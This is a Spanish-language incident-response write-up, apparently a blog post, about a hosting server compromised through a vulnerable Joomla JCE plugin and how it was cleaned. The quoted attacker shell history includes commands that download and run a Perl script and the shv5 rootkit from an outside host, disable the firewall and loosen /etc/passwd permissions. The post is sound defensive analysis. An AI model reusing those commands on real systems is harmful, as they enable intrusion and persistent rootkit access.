Quería compartir un ataque sufrido a un servidor dedicado que una organización con la cual colaboraba tenía contratado en una empresa de hosting bastante conocida. Cuando fuimos conscientes del ataque, el atacante ya había obtenido acceso al sistema y había editado los ficheros /etc/passwd, /etc/groups, /etc/shadow y /etc/gshadow modificando las claves de acceso por ssh y creando usuarios propios para acceder al equipo. Por tanto no disponíamos de acceso al servidor.
En el OSSEC (un HIDS) veíamos intentos de acceso al servidor por SSH desde una IP de Indonesia. Y nos alertaba de tener instalada una Rootkit.
2013 Nov 09 21:59:19 Rule Id: 510 level: 7 Location: servidor->rootcheck Src IP: 'shv5' detected by the presence of file '/lib/libsh.so'. Host-based anomaly detection event (rootcheck). ** Alert 1384030759.1314571: mail - ossec,rootcheck, 2013 Nov 09 21:59:19 servidor->rootcheck Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).' Rootkit 'shv5' detected by the presence of file '/usr/lib/libsh'.
Para recuperar el acceso al servidor (ya que nos habían modificado la clave) hicimos uso de las claves pública/privada que teníamos en el servidor y que utilizábamos entre otras cosas para las copias de seguridad a una NAS en remoto. Gracias a esto conseguimos reemplazar de nuevo los ficheros modificados para acceder al servidor. Una vez conseguimos acceder al servidor teníamos que comprobar los ficheros afectados y modificados, y la forma por la que habían accedido. Lanzamos el comando history en la consola para que nos diese alguna pista de los comandos ejecutados a través del Shell, y este fue el resultado:
473 id 474 wget kropak.com/es.txt 475 perl es.txt 476 cd /tmp 477 rm -rf a 478 ls 479 wget kropak.com/sshroot.tar.gz 480 tar -zxvf sshroot.tar.gz;rm -rf sshroot.tar.gz 481 cd sshroot 482 chmod +x * 483 ./configure --prefix=/usr/local/sshd/ 484 cd .. 485 rm -rf sshroot 486 wget kropak.com/shv5.tar.gz 487 tar -zxvf shv5.tar.gz;rm -rf shv5.tar.gz 488 cd shv5 489 ./setup 201 201 490 cd /tmp 491 service iptables stop 492 /sbin/ifconfig | grep inet | wc -l 493 cat /etc/ssh/sshd_config 494 adduser tagar 495 passwd Tagar 496 passwd tagar 497 chmod 777 /etc/passwd 498 id tagar 499 passwd 500 id tagar
Esto confirmaba la alerta del OSSEC. Como vemos pudieron hacer a sus anchas lo que quisieron. Instalaron un rootkit shv5 y se crearon usuarios de acceso al servidor (tagar).
Además de eso, modificaron los paquetes de comandos como el lsof, ifconfig, md5sum, find, pstree… limitando algunas funciones, de lo cual nos alertó el rkhunter como mostramos en el ejemplo siguiente.
[01:02:05] /usr/bin/pstree [ Warning ] [01:02:05] Warning: Package manager verification has failed: [01:02:05] File: /usr/bin/pstree [01:02:05] The file hash value has changed [01:02:05] The file owner has changed [01:02:05] The file group has changed [01:02:05] The file size has changed
En el mismo log del rkhunter aparecieron muchos mensajes de información. Entre otros, este que nos da importante información.
[01:04:00] Checking for TCP port 6667 [ Warning ] httpdocs/administrator/templates/.logged/psybnc. Possible rootkit: Possible rogue IRC bot Use the 'lsof -i' or 'netstat -an' command to check this.
Localizamos el fichero psybnc en un dominio donde teníamos instalado una versión de Joomla! vulnerable (versión 1.5) y es donde habían instalado un IRC (Internet Relay Chat) y nos utilizaban como servidor IRCd.
En el directorio /administrator/templates aparecía el .logged y directorios de Unreal3.2 (IRC), shv5, y otros ficheros infectados y que habían sido descargados por el atacante.
Revisando el log del dominio infectado vimos la forma por la que accedieron al servidor:
IP_Atacante - - [16/Oct/2013:05:52:55 +0200] "POST /index.php%3foption=com_content%26view=article%26id =280%3agf-febrero- 2013%26catid=20%3avitoria%26Itemid=73/index.php? option=com_jce&task=plugin&plugin=imgman ager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 404 549 "-" "BOT/0.1 (BOT for JCE)"
Como se puede ver es a raíz del complemento JCE que es un editor de mensajes que se ha conocido que es vulnerable [4] [5] [6] y que hay pruebas de concepto sobre la explotación de dicha vulnerabilidad.
Hasta aquí un poco el análisis a grandes rasgos del ataque. Una vez conocida la vulnerabilidad explotada y la utilización que se estaba realizando del equipo empieza la tarea para limpiar y solucionar el problema. En primer lugar procedimos a eliminar el atributo inmutable de los ficheros que el atacante había modificado para limitar nuestra acción:
[root@servidor ~]# chattr -sia /bin/ls [root@servidor ~]# chattr -sia /bin/ps [root@servidor ~]# chattr -sia /bin/netstat [root@servidor ~]# chattr -sia /usr/bin/dir [root@servidor ~]# hattr -sia /usr/bin/find [root@servidor ~]# chattr -sia /usr/bin/find [root@servidor ~]# chattr -sia /sbin/ifconfig [root@servidor ~]# chattr -sia /usr/sbin/lsof [root@servidor ~]# chattr -sia /usr/bin/md5sum [root@servidor ~]# chattr -sia /usr/bin/pstree [root@servidor ~]# chattr -sia /usr/bin/top [root@servidor ~]# chattr -sia /lib/libsh.so [root@servidor ~]# chattr -sia /usr/lib/libsh [root@servidor ~]# chattr -sia /usr/lib/libsh/* [root@servidor ~]# chattr -sia /etc/sh.conf [root@servidor ~]# chattr -sia /sbin/ttymon [root@servidor ~]# chattr -sia /sbin/ttyload
También modificaron el /etc/inittab por lo que lo reemplazamos con uno limpio de copias de seguridad anteriores.
Eliminamos los ficheros modificados en el sistema y posteriormente los instalamos de nuevo:
[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# yum -y reinstall coreutils binutils
net-tools psmisc lsof procps findutils >>/dev/null
Además borramos también cualquier rastro de los ficheros del shv4 y shv5. Eliminamos el proceso en marcha que tenían en el IRC y el Unreal. Además eliminamos del fichero known-hosts la IP del atacante y la añadimos en el firewall para que bloquease toda conexión de esa IP. Además, dado que en el servidor no se utilizaba perl, bloqueamos los accesos con el user-agent libwww-perl.
A modo de resumen el procedimiento del ataque ha sido el siguiente:
- A raíz de una vulnerabilidad de Joomla! Content Editor y el plugin imgmanager (por tenerlo desactualizado) utilizan un exploit en perl para escanear y ver la vulnerabilidad que consigue introducir ficheros en la carpeta de joomla vulnerable.
- Suben ficheros y usan la librería libwww-perl para estas conexiones.
- Instalar un software IRCd (Unreal).
- Con los ficheros que meten ejecutan un fichero perl que les da posibilidades de ejecutar tareas con los privilegios del usuario apache.
- Descargan dos ficheros sshroot.tar.gz y shv5.tar.gz y posteriormente instalan el rootkit para evitar ser detectados y conseguir privilegios de root en el servidor.
Después de esto solo cabe añadir que procedimos a revisar todo el servidor de nuevo, además de actualizar todas las versiones de Joomla! instaladas y revisar todos los plugins para comprobar que no eran vulnerables.
Estos son algunos de los pasos del análisis y de la solución que dimos ante este ataque. Evidentemente se tomaron más medidas y se analizaron muchas más cosas, pero a grandes rasgos este fue el caso que quería compartir.
